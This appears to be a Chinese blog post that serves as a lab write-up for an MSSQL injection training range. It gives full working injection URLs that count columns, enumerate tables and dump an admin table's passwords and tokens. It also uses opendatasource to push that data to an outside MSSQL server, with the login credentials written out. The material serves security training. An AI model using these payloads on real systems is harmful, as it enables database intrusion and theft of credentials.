首页 > 技术文章 > 封神台靶场-MSSQL注入

gaojia-hackerone 2021-09-07 10:48 原文

MSSQL显错注入

与MySQL联合查询不同,MSSQL联合查询由于数据类型匹配较为严格,所以需要union select null来代替数字,然后不断尝试寻找到正确的类型,但是大体上还是相似的

猜解字段数

http://o9pz8015.ia.aqlab.cn/?id=1' order by 3 -- qwe #页面正常
http://o9pz8015.ia.aqlab.cn/?id=1' order by 4 -- qwe #页面异常
得出字段数为3

判断显错点

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select 1,'a','b' -- qwe

得出显错点第一个字段为整型,第二三个字段为字符型

查询系统自带库的表

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from sysobjects where xtype='U' -- qwe

image

查询admin表的字段名

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from syscolumns where id=1977058079 -- qwe

image

查询admin表的数据

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,passwd,token from admin -- qwe

得出flag为:zkaq{e9c9e67c5}

MSSQL反弹注入

概念:

利用SQL语句,让目标的数据库来访问你在公网上的数据库,然后插入数据
本质就是让目标机器访问攻击者准备好的数据库,然后插入信息

原理:

利用opendatasource函数,把查询出来的数据发送到准备好的MSSQL服务器上

查询语句

# 查询系统自带表中xtype='U'的name,id并插入到我们准备好的temp表
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from sysobjects where xtype='U' -- qwe

# 通过id锁定admin表,然后查询admin表的字段名并插入到我们准备好的temp表
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from syscolumns where id=1977058079 -- qwe

# 查询admin表的数据并插入到准备好的temp表中
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,passwd,token,username from admin -- qwe

最终得到表:

image

flag为:zkaq{e9c9e67c5}

推荐阅读